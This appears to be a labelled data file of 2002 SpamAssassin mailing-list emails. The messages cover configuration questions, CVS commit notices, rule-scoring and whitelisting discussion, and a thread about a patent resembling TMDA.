_______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,Ken Scott ,"Thu, 22 Aug 2002 14:09:07 -0400",Re: [SAtalk] Some Stupid Questions,"--lteA1dqeVaWQ9QQl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Aug 22, 2002 at 01:01:44PM -0500, Ken Scott wrote: > whitelist_from *@yahoogroups.com >=20 > in his .spamassassin/user_prefs file, does that line not, in effect, > tell the program to take no action at all against any mail coming in from > yahoogroups.com, or is there still checking being done against it? And if It still gets checked, but a negative score is added in. And it doesn't mean ""coming in from"" it means ""From: address is @yahoogroups.com"". There's a Yahoo Groups compensation rule in 2.40 though. :) > the latter, what does he need to place in user_prefs to cause such mail > to be ignored? I'm testing SA here with a few users who happen to be on ignored completely? you can't do that, put in a procmail rule. > yahoogroups lists, before deploying it system-wide, and although the above > line has been added to their user_prefs files, much of their list mail is > still going to the spam folder due to all the usual things you would > expect to trigger SA. You'd want to either add your own compensation rule or up (negatively) the whitelist score. --=20 Randomly Generated Tagline: There are perfectly good answers to those questions, but they'll have to wait for another night. =20 -- Homer Simpson Homers Barbershop Quartet --lteA1dqeVaWQ9QQl Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ZSjDAuOQUeWAs2MRAk7zAKDCQJ8EQx5520TfLqgL+AogSqPOGwCg9fG4 XMAdFMmo1slLu/d8Sqj44U0= =QHHd -----END PGP SIGNATURE----- --lteA1dqeVaWQ9QQl-- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Craig Hughes ,spamassassin-commits@example.sourceforge.net,"Thu, 22 Aug 2002 11:13:32 -0700","[SACVS] CVS: spamassassin/masses mass-check,1.67,1.67.2.1","Update of /cvsroot/spamassassin/spamassassin/masses In directory usw-pr-cvs1:/tmp/cvs-serv440/masses Modified Files: Tag: b2_4_0 mass-check Log Message: Fixes, additions to mass-check Index: mass-check =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/masses/mass-check,v retrieving revision 1.67 retrieving revision 1.67.2.1 diff -b -w -u -d -r1.67 -r1.67.2.1 --- mass-check 20 Aug 2002 12:29:32 -0000 1.67 +++ mass-check 22 Aug 2002 18:13:30 -0000 1.67.2.1 @@ -96,6 +96,7 @@ print ""# mass-check results from $who\@$where, on $when\n""; print ""# M:SA version "".$spamtest->Version().""\n""; +print '# CVS tag: $Name$',""\n""; $iter->set_function (\&wanted); $iter->run (@ARGV); exit; @@ -132,6 +133,8 @@ my $tests = $status->get_names_of_tests_hit(); $tests = join(',', sort(split(/,/, $tests))); + + $id =~ s/\s/_/g; printf ""%s %2d %s %s\n"", ($yorn ? 'Y' : '.'), ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """Craig R.Hughes"" ",yyyy@spamassassin.taint.org (Justin Mason),"Thu, 22 Aug 2002 11:19:57 -0700","[SAtalk] Re: [SAdev] 2.40 RELEASE PROCESS: mass-check status, folks?","I think with the confusion and all, we should give these folks until the end of the day to get fixed logs uploaded :) Justin, on a related note -- I didn't include the spamtrap stuff from the corpus directory on your server in my logs, but that should definitely be in there -- don't know if you'd included it in yours or not. I think it's from Kelsey's mailtraps... C On Thursday, August 22, 2002, at 09:49 AM, Justin Mason wrote: > Files that are out of date (as far as I can tell -- they have no date > comment), and will be ignored: > > nonspam-danielp.log > nonspam-danielr.log > nonspam-duncan.log > nonspam-james.log > nonspam-laager.log > nonspam-messagelabs.log > nonspam-msquadrat.log > nonspam-olivier.log > nonspam-oliviern.log > nonspam-quinlan.log > nonspam-rodbegbie.log > nonspam-sean.log > nonspam-theo.log ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Craig R.Hughes"" ",yyyy@spamassassin.taint.org (Justin Mason),"Thu, 22 Aug 2002 11:17:14 -0700",Re: [SAtalk] German spam corpus / foreign language spam,"On Thursday, August 22, 2002, at 09:36 AM, Justin Mason wrote: > > ""Craig R.Hughes"" said: > >> I thought we'd sort of decided that after 2.40 we'd switch the >> meaning of the ""lang"" prefix to actually mean ""run these rules >> if language matches"", where ""language"" is what TextCat spits out >> for a message, as opposed to using the locale which is how >> things currently work. > > ah, right -- I'd forgotten that. :( > > doesn't help with the finding-broken-rules QA case though... It does, if you have a corpus of german spam and nonspam to feed it, and you're not in a de locale. C ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Craig R.Hughes"" ","""Tony L. Svanstrom"" ","Thu, 22 Aug 2002 11:22:43 -0700",Re: [SAtalk] Re: SA In The News,"So do you know my public key? Does the guy who wants to buy 10,000 licenses of SpamAssassin Pro? Do I really want to lose email from either of you? C On Thursday, August 22, 2002, at 10:13 AM, Tony L. Svanstrom wrote: > On Thu, 22 Aug 2002 the voices made Craig R.Hughes write: > >> Trouble is, you don't necessarily know ahead of time who's >> wanting to send >> you stuff. I don't have your PGP public key on my keychain. >> You can do all >> the signing you want, it's not going to help. However, if you >> stick a Habeas >> header in your mail, I can (hopefully) be reasonably sure that >> you're not >> trying to spam me. It is going to be all about enforcement >> though; we'll >> have to see how they do on enforcement. > > Signing messages to someone ('s public key) isn't impossible, > using some > creative scripting you could even do it with OpenPGP-compatible > software... ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Luiz Felipe Ceglia ,spamassassin-talk@example.sourceforge.net,"Fri, 23 Aug 2002 15:15:06 -0300",[SAtalk] help with postfix + spamassassin,"Hi Folks, I have just installed spamassassin 2.31 in my postfix MTA server. At first, I would like to test it just in my email account before applying it to the wole site. I configured just as in the INSTALL file: 5. Create a .forward... ""|IFS=' ' && exec /usr/bin/procmail -f- || exit 75 #user"" 6. create a .procmailrc :0fw | /usr/bin/spamassassin -c /etc/mail/spamassassin/rules But the spams get trought it untouched. When I run it by the hand: cat sample-spam.txt | /usr/bin/spamassassin -c /etc/mail/spamassassin/rules it does tag it as spam and send me the email. what should I look at? Thank you, -- Luiz Felipe Ceglia - Staff TereNet lceglia@terenet.com.br - +55-21-9135-3679 ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",Spamassassin-talk@example.sourceforge.net,"Mon, 26 Aug 2002 17:33:21 +0200 (CEST)",[SAtalk] Version 1.1.11 of the DCC (fwd),"---------- Forwarded message ---------- From: Vernon Schryver To: dcc@calcite.rhyolite.com Date: Mon, 26 Aug 2002 09:09:05 -0600 (MDT) Subject: Version 1.1.11 of the DCC ersion 1.1.11 of the DCC source is in http://www.rhyolite.com/anti-spam/dcc/source/dccd.tar.Z and http://www.dcc-servers.net/dcc/source/dccd.tar.Z http://www.rhyolite.com/anti-spam/dcc/dcc-tree/CHANGES and http://www.dcc-servers.net/dcc/dcc-tree/CHANGES start with fix dccm bugs with handling a non-responsive server. change misc/hackmc to modify sendmail.cf to reject unauthorized relay attempts with a temporary failure when they are supposed to be sent to the DCC but dccm is not running. This prevents leaking relay relay spam. You must use the new hackmc script to install this change in sendmail.cf. remove ""# whitelisted"" from `cdcc stats` output to give more room for totals. prevent empty dccproc log files as noted by Krzysztof Snopek. even fatal errors should cause dccproc to exit with 0 to avoid rejecting mail, as noted by Krzysztof Snopek. When server hostnames have common IP addresses, prefer the server with the non-anonymous client-ID, noted by Krzysztof Snopek. Vernon Schryver vjs@rhyolite.com _______________________________________________ DCC mailing list DCC@rhyolite.com http://www.rhyolite.com/mailman/listinfo/dcc ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Craig R.Hughes"" ",Bart Schaefer ,"Mon, 26 Aug 2002 08:33:19 -0700",Re: Whitelisting (Re: [SAtalk] SA In The News),"There is a whitelist RBL now! Ironport's Bonded Sender is basically a whitelist RBL where you post a bond to get on the list, and then lose the bond if you end up spamming from that IP address (or something like that). http://www.bondedsender.org/ C On Sunday, August 25, 2002, at 07:58 PM, Bart Schaefer wrote: >> 4. DNSBL: Only certifies an ip address, not who is using it. As it is >> currently used, DNSBL allows you to look up if some IP address >> has been >> blacklisted by someone. What I haven't seen is a service that >> provides a >> DNS based whitelist. > > There's a practical reason for that: Any DNS list (white or > black) works > only for a limited number of IPs; the set of unlisted IPs is > much larger > than the set in the DNS list. If you have to make a binary decision to > accept or reject, you'll be wrong less often if you reject the > blacklist > and accept everything else, rather than accept the whitelist and reject > everything else. > > A whitelist is only helpful when (a) you only want mail from a limited > number of known sources, or (b) you can use a secondary system > like SA to > decide what to do with the vast unlisted masses. Most MTAs still make > only the binary decision, because the secondary computation is > expensive. > > With SA's cooperation, though, it might be worth a try. Even better if > one could get commercial anti-spam outfits to agree to factor it in. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Marc Perkel ,"Justin Mason ,","Mon, 26 Aug 2002 08:34:13 -0700",Re: [SAdev] Re: several messages,"Political news T R U T H O U T uses it too. Justin Mason wrote: >>>> 0.978 0.540 1.184 0.31 -1.00 FWD_MSG >>> >>>I'm a bit surprised that any spams hit this one. Did somebody forward a >>>spam that then went into a corpus? >> >>My corpus is quite clean and I get spam hits. > > > yes, it's being frequently forged already. > > >>>> 1.582 2.226 1.279 0.64 0.39 GAPPY_TEXT >>> >>>Gappy text in a non-spam? It must be a H E A D L I N E or something. >>>Maybe just remove space from the list of ""gap"" characters? >> >>For 2.50, we could try to figure out which nonspams are hitting and >>improve the rule. > > > BTW I subscribe to the Media Unspun newsletter, and it and a few others > regularly use that H E A D L I N E thing. > > splitting it into 2, one that matches gappy text with punctuation chars, > one that matches spaces between the chars, would probably help. if > anyone's bothered, I'd suggest filing a bug. > > --j. > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? 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Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 yyyy@spamassassin.taint.org (Justin Mason),Luiz Felipe Ceglia ,"Mon, 26 Aug 2002 16:43:14 +0100",Re: [SAtalk] help with postfix + spamassassin,"Luiz Felipe Ceglia said: > :0fw > | /usr/bin/spamassassin -c > /etc/mail/spamassassin/rules are you using exactly that -- with the line break -- or is it like this: :0fw | /usr/bin/spamassassin -c /etc/mail/spamassassin/rules all on one line? it should be the latter. --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Michael Leone"" ",,"Mon, 26 Aug 2002 11:43:28 -0400 (EDT)",Re: [SAtalk] Re: Other uses for SA?,"Brian R. Melcer said: >> I've got spamassassin installed and tested on MacOS X 10.1.5, >> although there are issues with spamd still. So in addition to >> looking for new and different uses for SA, I'd like to hear >> from folks using it under MacOS X. > > I just recently converted our SA setup to use Amavisd into our Postfix Amavisd or Amavisd-new? If the latter, you don't need spamd running, since amavisd-new calls SA functions directly. -- PGP Fingerprint: 0AA8 DC47 CB63 AE3F C739 6BF9 9AB4 1EF6 5AA5 BCDF Member, LEAF Project AIM: MikeLeone Public Key - Some days you're the pigeon; some days you're the statue. Random Thought: -------------- ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Sidney Markowitz"" ",,"Mon, 26 Aug 2002 08:48:31 -0700",Re: [SAtalk] 2.40 RELEASE: oops -- newer freqs.,"Daniel Quinlan wrote: > Exactly, except that I think you may be too optimistic > about the reporting, the timeframe, and the accuracy. That's another argument for a ""HLL"" (Habeas Licensee List) which would be less inclusive than a test for the mark of for HIL, but more timely and accurate. When an ip address is on the HLL it could get a huge negative score, bigger than the Habeas mark alone. -- sidney ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Craig R.Hughes"" ","Mon, 26 Aug 2002 16:46:21 +0100",Re: [SAtalk] 2.40 RELEASE: oops -- newer freqs.,"""Craig R.Hughes"" said: > The GA run on the current corpus is yielding an average (mean) > score for false-positives of about 10 points, which is higher > than before. There's some tweaking to be done yet (rule > elimination and such), so that will likely fall, but -15 might > not be enough of a correction in many situations. I will set > the scores for the Habeas stuff and the Ironport stuff to be > sensible given: > > a) estimated likeliness of compliance with Habeas/Bonded sender > rules, and > b) score correction level needed to achieve purposes of those projects. Using the score-ranges stuff and my aggressive anti-FP evaluation code, BTW, yielded an average FP of 5.7 points, with 0.67% FPs and 96.57% overall accuracy -- but I notice you went back to the other method. Just pointing this out ;) --j. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",bugzilla-daemon@hughes-family.org,"Mon, 26 Aug 2002 18:50:38 +0200 (CEST)",Re: [SAdev] [Bug 735] spamassassin -t lies,"On Mon, 26 Aug 2002 the voices made bugzilla-daemon@hughes-family.org write: > http://www.hughes-family.org/bugzilla/show_bug.cgi?id=735 > ------- Additional Comments From br+spamassassin@panix.com 2002-08-26 09:33 ------- > Just because it's documented doesn't mean it's a good thing. > > I work for an ISP. We provide SpamAssassin to our customers. I got email > today from a support tech saying that ""spamassassin -t"" reports that a > message is probably spam even when it's not, and why is this, and can we > change it? I thought about why it is, and the only answer I could come up > with was, ""it was easier for the programmer that way"". That's an answer, I > guess, but her point was that this is going to generate support calls, and > support calls cost us time and money. Why would a customer use `spamassassin -t` without understanding what it does? /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """Tony L. Svanstrom"" ",CertaintyTech ,"Mon, 26 Aug 2002 18:51:51 +0200 (CEST)",Re: [SAtalk] From: and To: are my address,"On Mon, 26 Aug 2002 the voices made CertaintyTech write: > Recently I have been receiving Spam where both the From: and To: address are > set to my address therefore getting thru due to AWL. Any suggestions on > this one? I could turn off AWL but it does have advantages. BTW, I use a > site-wide AWL. Use cron to remove your address from the AWL daily...?! /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 admin ,Spamassassin-talk@example.sourceforge.net,"Mon, 26 Aug 2002 20:11:00 +0200",[SAtalk] Test spam,"Hi, does anyone have a collection of real-world-spam, that I could use to test my setup? ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Malte S. Stretz"" ",spamassassin-commits@example.sourceforge.net,"Tue, 27 Aug 2002 02:31:31 -0700","[SACVS] CVS: spamassassin/debian spamassassin.README.Debian,1.1,1.2","Update of /cvsroot/spamassassin/spamassassin/debian In directory usw-pr-cvs1:/tmp/cvs-serv23243/debian Modified Files: spamassassin.README.Debian Log Message: removed -P Index: spamassassin.README.Debian =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/debian/spamassassin.README.Debian,v retrieving revision 1.1 retrieving revision 1.2 diff -b -w -u -d -r1.1 -r1.2 --- spamassassin.README.Debian 21 Jun 2002 02:46:50 -0000 1.1 +++ spamassassin.README.Debian 27 Aug 2002 09:31:29 -0000 1.2 @@ -2,7 +2,7 @@ you wish to use spamd (the Daemon version of spamassassin), please edit /etc/default/spamassassin. -'spamc' is equivalent to 'spamassassin -P' and you should use it instead if +'spamc' is equivalent to 'spamassassin' and you should use it instead if (and only if) you enabled 'spamd' (and you've installed the spamc package) To add rules, change scores, edit the template, edit ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Brian McNett ,spamassassin-talk@example.sourceforge.net,"Tue, 27 Aug 2002 09:32:31 -0700",Re: [SAtalk] where can I find the Habeas patent (application)?,"On Tuesday, August 27, 2002, at 06:03 AM, Tony L. Svanstrom wrote: > Where can I find it, I was searching online without any luck... =( You can't, because there isn't one, yet. Habeas is using a combination of copyright and trademark law to protect their sender warranties. They hope to patent the system, but they have not been ISSUED a patent. --B ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",Matt Sergeant ,"Tue, 27 Aug 2002 18:31:02 +0200 (CEST)",MacOS X (Re: [SAtalk] [OT] Habeas-talk (was: 2.40 RELEASE: oops,"On Tue, 27 Aug 2002 the voices made Matt Sergeant write: > I've got 6C115 (I think) the current developer release (though not the same > as gold). The only difference AFAIK is the path to a single helpfile, which we don't use anyways, right? *G* /Tony PS I also have a problem with that stupid helpprogram crasching whenever I search for ""windows""; not sure if that's a feature or not. =) -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Jason R. Mastaler"" ",yyyy@spamassassin.taint.org (Justin Mason),"Tue, 27 Aug 2002 12:34:23 -0600",Re: patent on TMDA-like system,"jm@jmason.org (Justin Mason) writes: > Sounds a lot like TMDA to me. :( Filing date is July 26, 2001, > granted May 16, 2002. > > TMDAers, have you seen this before? No, but thanks for pointing it out. > I'd presume TMDA is prior art, but still, it could be troublesome... Yup. TMDA's core functionality was fully established before even the filing date. Anyone with experience in this area have a recommendation on whether this should be pursued or not?",0,0 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),27 Aug 2002 14:45:35 -0700,Re: [SAdev] SpamAssassin POP3 proxy,"jm@jmason.org (Justin Mason) writes: > Actually, I want to avoid that -- I've already removed spamproxyd > from the distro for 2.40. Here's why: > > When they're in the distro, *we* have to support them -- which is > not necessarily a good thing when we didn't write them in the first > place, or when the coder in question may not *want* us to maintain > them. :( I would be in favor of creating new SpamAssassin CVS modules and Bugzilla categories for other clients (provided there is sufficient interest and a maintainer). Dan",0,0 """Justin Mason"" ",quinlan@pathname.com,"Wed, 28 Aug 2002 00:11:36 +0100 (IST)",Re: [SAdev] SpamAssassin POP3 proxy,"> I would be in favor of creating new SpamAssassin CVS modules and > Bugzilla categories for other clients (provided there is sufficient > interest and a maintainer). yeah, I'd be with that -- as long as they have a maintainer ;) however regarding CVS, I'd say many projects might find it easier to just sign up as a new proj with sf.net -- it might save them having to go through us (not sure, depends on what sf.net's procedures are like). --j.",0,0 Theo Van Dinter ,Justin Mason ,"Tue, 27 Aug 2002 21:36:22 -0400",Re: FAQ: taint warnings from SA in /etc/procmailrc,"--wLAMOaPNJ0fu1fTG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Aug 28, 2002 at 12:14:24AM +0100, Justin Mason wrote: > actually, I think procmail supports this directly. use DROPPRIVS=3Dyes > at the top of the /etc/procmailrc. Hey, look at that! DROPPRIVS If set to `yes' procmail will drop all privileges it might have had (suid or sgid). This is only useful if you want to guarantee that the bottom half of the /etc/procmailrc file is executed on behalf of the recipient. Of course, removing setuid/gid bits on programs that don't need it is always a good idea. A general rule of system administration: don't give out permissions unless you absolutely need to. ;) --=20 Randomly Generated Tagline: ""The cardinal rule at our school is simple. No shooting at teachers. If you have to shoot a gun, shoot it at a student or an administrator."" - ""Word Smart II"", from Princeton Review Pub. --wLAMOaPNJ0fu1fTG Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9bCkWAuOQUeWAs2MRAr+iAJ9cVLx61vWsC5KFDLYv9/T7FaZmxACgzUpC f235rrVr6cI8LvPC+IeIss0= =BsCM -----END PGP SIGNATURE----- --wLAMOaPNJ0fu1fTG--",0,1 Robin Lynn Frank ,"yyyy@spamassassin.taint.org (Justin Mason),","Tue, 27 Aug 2002 20:43:59 -0700",Re: patent on TMDA-like system,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 27 August 2002 07:45 am, Justin Mason wrote: > Tony Svanstrom, on SpamAssassin-talk, noted this US patent: > > http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=/netah >tml/PTO/search-adv.html&r=62&f=G&l=50&d=PG01&s1=spam&p=2&OS=haiku&RS=spam > > Method of anti-spam > > Abstract > > A method of anti-spam is to set an optional trustcode, or a trustlist, or > at least a trustweb based on online mail delivery at a recipient's e-mail > address. A mail sender is compelled at the first time to deliver a mail > by way of: taking the way of ""Visiting trustweb and sending online"", or > enclosing the recipient's trustcode in the mail and sending in another way > other than the mentioned. After the sender's e-mail address has been stored > automatically in the recipient's trustlist, the sender may send mails to > the same recipient in whatever the ways feasible. > > > Sounds a lot like TMDA to me. :( Filing date is July 26, 2001, granted > May 16, 2002. > > TMDAers, have you seen this before? I'd presume TMDA is prior art, but > still, it could be troublesome... > > I took a bit of time to review what is on the above URL. If I were a news editor, the headline would be: ""Inventor"" from country that ignores patents and copyrights, seeks patent for inventing the wheel! - -- - ------------------------------------------------------------------------ Robin Lynn Frank---Director of Operations---Paradigm, Omega, LLC http://paradigm-omega.com http://paradigm-omega.net 2002. All rights reserved. No duplication/dissemination permitted. Use of PGP/GPG encrypted mail preferred. No HTML/attachments accepted. Fingerprint: 08E0 567C 63CC 5642 DB6D D490 0F98 D7D3 77EA 3714 Key Server: http://paradigm-omega.com/keymaster.html - ------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9bEcKD5jX03fqNxQRAmTfAKDM6BDsePbg8fb9Ore0XuS5jB4t1wCfbTcw /PBXqXO7Pei1f9lIj4gd0/c= =PNJx -----END PGP SIGNATURE-----",0,1 """Brian May"" ","""Justin Mason"" ,","Tue, 27 Aug 2002 11:55:58 -0700",Re: [SAtalk] Re: patent on TMDA-like system,">>From tmda.net/history.html: The first release of TMDA in April 2001 was essentially a rewrite of TMS in Python, April 2001 is earlier than July 26, 2001... prior art.. from http://tmda.net/releases/old/ Parent Directory 19-Aug-2002 16:14 - README.MD5SUM 19-Aug-2002 16:14 4k tmda-0.01.tgz 22-Apr-2001 15:59 11k tmda-0.02.tgz 26-Apr-2001 12:06 12k tmda-0.02.txt 26-Apr-2001 12:50 1k tmda-0.10.tgz 27-Apr-2001 21:14 39k tmda-0.10.txt 30-Apr-2001 11:36 3k tmda-0.11.tgz 02-May-2001 17:17 38k tmda-0.11.txt 02-May-2001 17:06 3k tmda-0.12.tgz 10-May-2001 19:50 39k tmda-0.12.txt 10-May-2001 19:48 1k tmda-0.13.tgz 17-May-2001 15:53 39k tmda-0.13.txt 17-May-2001 15:57 2k tmda-0.14.tgz 24-May-2001 16:43 46k tmda-0.14.txt 24-May-2001 16:40 4k tmda-0.15.tgz 28-May-2001 15:20 47k tmda-0.15.txt 28-May-2001 15:20 1k tmda-0.20.tgz 06-Jun-2001 17:52 49k tmda-0.20.txt 06-Jun-2001 18:46 6k tmda-0.21.tgz 18-Jun-2001 18:32 51k tmda-0.21.txt 18-Jun-2001 18:31 2k TMDA was already at 0.21 8 days before filing for a patent.. ----- Original Message ----- From: ""Jason R. Mastaler"" To: ""Justin Mason"" Cc: ; Sent: Tuesday, August 27, 2002 11:34 AM Subject: [SAtalk] Re: patent on TMDA-like system jm@jmason.org (Justin Mason) writes: > Sounds a lot like TMDA to me. :( Filing date is July 26, 2001, > granted May 16, 2002. > > TMDAers, have you seen this before? No, but thanks for pointing it out. > I'd presume TMDA is prior art, but still, it could be troublesome... Yup. TMDA's core functionality was fully established before even the filing date. Anyone with experience in this area have a recommendation on whether this should be pursued or not? ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ","""Jason R. Mastaler"" ","Tue, 27 Aug 2002 21:19:02 +0200 (CEST)",Re: [SAtalk] Re: patent on TMDA-like system,"On Tue, 27 Aug 2002 the voices made Jason R. Mastaler write: > jm@jmason.org (Justin Mason) writes: > > > Sounds a lot like TMDA to me. :( Filing date is July 26, 2001, > > granted May 16, 2002. > > > > TMDAers, have you seen this before? > > No, but thanks for pointing it out. > > > I'd presume TMDA is prior art, but still, it could be troublesome... > > Yup. TMDA's core functionality was fully established before even the > filing date. > > Anyone with experience in this area have a recommendation on whether > this should be pursued or not? If you think you can survive it, please fight... When I found that patent I found others that were just common sense, things that any geek could implement with his script/shell-language of choice; and it's time for someone to get the medias attention on what's going on. Basically this is the new wave of ""namenappers""; it used to be domainnames, not it's all the basic general ideas they can think off/find on the web that they're patenting. /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`'",0,0 """Malte S. Stretz"" ",spamassassin-talk@example.sourceforge.net,"Wed, 28 Aug 2002 16:15:18 +0200",Re: 